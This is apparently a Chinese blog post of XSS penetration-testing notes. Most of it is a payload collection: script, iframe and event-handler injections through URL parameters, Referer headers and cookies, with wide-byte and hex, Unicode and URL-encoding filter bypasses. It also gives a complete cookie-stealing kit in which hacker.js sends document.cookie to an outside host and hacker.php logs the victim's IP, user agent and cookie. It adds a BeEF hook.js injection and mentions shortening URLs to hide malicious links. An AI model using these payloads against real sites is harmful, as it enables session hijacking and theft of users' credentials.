web渗透测试整理1(跨站脚本)

本文详细介绍了跨站脚本攻击的构建模块,包括框架注入、链接注入和编码绕过等技术,并探讨了利用这些方法进行攻击的实际场景。同时,提到了在Kali Linux中使用BeEF工具进行浏览器测试以及如何隐蔽恶意URL。总结了识别和利用跨站脚本漏洞的关键点,强调了基于URL和cookie的漏洞利用及流量劫持的重要性。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

跨站脚本构建模块

1.http://xxx/poll_skimcx.jsp?pollId=425<script>alert(27006)</script>
2.http://xxx/class.asp?BigClassName=新闻中心</title><script>alert(23503)</script>
3.http://xxx/goods.php?id=531*/->�"�'></iframe></script></style></title></textarea><script>alert(/1/)</script>
  �"�'>:%cf%22%d5%27%3E     宽字节跨站脚本
4.http://xxx/network.php/"><script>prompt(21927)</script>
5.http://xxx/poll_skimcx.jsp?pollId=425<iframe onload=prompt(1234)>
6.www.xxx.com/plus/count.php/<script>alert(22804)</script>?view=yes&aid=10483&mid=1
http://xxx/index.php/><script>prompt(38444)</script>

源码效果

www.xxx.com/product/index/CuteEditor/item/p/item.html?type="><iframe src=javascript:alert(65647)>

源码效果

www.xxx.com/cmd.asp?act=gettburl&id=18"><script>alert(44933)</script>

源码效果

https://xxx/other.aspx?Colname="onclick="prompt(8211)"&KeyWord=&PageNo=2&action=live
Onclick事件需要点击执行

源码效果

http://xxx/list_2ba5de55-7dac-4c6a-b044-6727fc3d63ea.html?lmid=2ba5de55-7dac-4c6a-b044-6727fc3d63ea!</script><iframe src=javascript:document.title=25956>
button=%B5%C7%20%20%C2%BC"][$@!;<script>alert(21845)</script>            // 宽字节跨站脚本
http://xxx/ShowImages/showImage.aspx?thumbWebUrl=%27;alert(19970)//

源码效果

http://xxx/Search.asp?Page=2&Range=&
KeyWord=1<iframe src=javascript:document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u00281507\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')> 
源码:
<font color="red">1<iframe src=javascript:document.write('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u00281507\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e')></font>&nbsp;]</td>
  </tr>
抓包构建Referer值:
  http://xxx/phpsso_server/?m=admin&c=login&a=init&forward=</script><script>prompt(30113)</script>
抓包构建Referer值:
 http://xxx/phpsso_server/?m=admin&c=login&a=init&forward=');confirm(89450);x=('
抓包构建Referer值:
http://xxx/</script><script>alert(20630)</script>
抓包构建Referer值:
http://xxx/index.php?m=admin&c=index&a=login&pc_hash=Referer)(*&^`~'"][$@!;</script><script>prompt(33979)</script>
抓包构建Referer值:
http://www.xxx.cn/"><script>confirm(51918)</script>
抓包构建Referer值:
 "><script>alert(20653)</script>

源码效果

抓包构建cookie中参数的值:
RecentlyGoods=226RecentlyGoods)<script>prompt(76226)</script>; !@$[]"'~`^&*()=;
抓包构建cookie中参数的值:
 diqu=�Ĵ�diqu<iframe src=javascript:alert(38586)>
抓包构建cookie中参数的值:
RecentlyGoods=232<script>prompt(23886)</script>

源码发现构建的cookie值出现在sql语句中

抓包构建cookie中参数的值:
RecentlyGoods=174,17499999999999999999999<iframe onload=alert(52345)>`

抓包修改post值,绕过前端过滤

框架注入构建模块

抓白构建注入参数http://xxx/search.asp?SeaStr=1#*/-->'");></iframe></script></style></title></textarea><iframe src=http://www.anonymous.com>

http://xxx/Search.asp?Page=2&Range=&KeyWord=1<iframe src=1.html>

源码效果

链接注入构建模块

http://xxx/cmd.asp?act=gettburl&id=18"><a href=1.html>Link_Injecting</a>

源码效果

http://xxx/Article/in_search.asp?Keyword=1*/-->'");></iframe></script></style></title></textarea><a	href='1.htm'>Link_Injecting</a> 
http://xxx/video_player.asp?width=202&height=*/-->'");></iframe></script></style></title></textarea><a	href='1.htm'>Link_Injecting</a>&auto=true

十六进制,Unicode,url编码绕过

字符串:<iframe src=javascript:alert(38586)>
十六进制:3c696672616d65207372633d6a6176617363726970743a616c657274283338353836293e
UNICODE编码:\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u006a\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003a\u0061\u006c\u0065\u0072\u0074\u0028\u0033\u0038\u0035\u0038\u0036\u0029\u003e
url编码:%3c%69%66%72%61%6d%65%20%73%72%63%3d%6a%61%76%61%73%63%72%69%70%74%3a%61%6c%65%72%74%28%33%38%35%38%36%29%3e

编码转换-站长之间

跨站脚本利用

跨站脚本,链接注入,框架注入可以相互转换所以这里只讨论了部分跨站脚本的利用
1.远程获取用户cookie并储存在本地。
注入脚本:
<script src="http://xxx/xss/hacker.js"></script>

Hacker.js:
var img = document.createElement('img');
img.width = 0;
img.height = 0; 
//将img元素的src属性指向脚本文件hacker.php
//将cookie信息的字符串作为URI组件进行编码,然后用ck参数传递
img.src = 'http://xxx/xss/hacker.php?ck='+encodeURIComponent(document.cookie);

hacker.php文件接收并储存传回来的cookie:
 <?php
     @ini_set('display_errors',1);   //PHP开启展示错误信息(若有错误的情况下)
     $cookie = $_GET['ck'];  //将ck参数传递的cookie信息以GET请求方式获取,赋给$cookie变量存储
     $fileName = "hacker.php";   //$fileName变量用以存放hacker.php脚本   
     if(is_writable($fileName)==true){   //判断若文件$fileName存在且可写,则返回true
         date_default_timezone_set('PRC'); //设置中国时区,便于后面的$time获取的时间准确(不早不晚)
        $time = date('Y-m-d H:i:s');    //以"年-月-日 时:分:秒"的格式显示时间
        $ip = getenv('REMOTE_ADDR');    //远程主机IP地址
        $referer = getenv ('HTTP_REFERER'); //链接来源
        $agent = $_SERVER['HTTP_USER_AGENT']; //用户浏览器类型
         
        //以写入方式打开cookie.txt文件(若没有则创建TA)
        $fp = fopen('cookie.txt', "w");
        //将$ip、$time、$agent、$referer、$cookie变量对应的值写入到打开的cookie.txt文件中
        fwrite($fp,"IP: ".$ip."\n"."Time: ".$time."\n"."User Agent: ".$agent."\n"."Referer: ".$referer."\n"."Cookie: ".$cookie."\n");
        //将打开的文件关闭
        fclose($fp);
    }
     else{
         echo "Can't Write !";
    }
 ?>

2.注入xss-beef的hook脚本,利用kali的xss-beef工具做进一步攻击
<script src="http://<IP>:3000/hook.js"></script>

Kali Linux:利用BeEF 攻击测试浏览器

网址压缩(隐藏恶意构建的url)

总结

1)这里只选择性的贴了部分漏洞利用成功的源码图片
2)url和cookie构建的web注入代码基本可以通过查看网页源代码查看,所以要想确定是否有此类漏洞,首先查看参数在网页源码中的位置,然后根据参数作用的位置确定可以执行的payload,最后绕过web端或者防火墙对特殊字符的过滤。
3)referer参数的数据一般用于网页的返回跳转,(在源码上可以看)
4)基于url的此类漏洞更容易利用
5)基于cookie和referer的此类漏洞需要配合流量劫持,抓取更改请求数据包来达到漏洞利用的目的

知识无限,分享我所学(smile)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值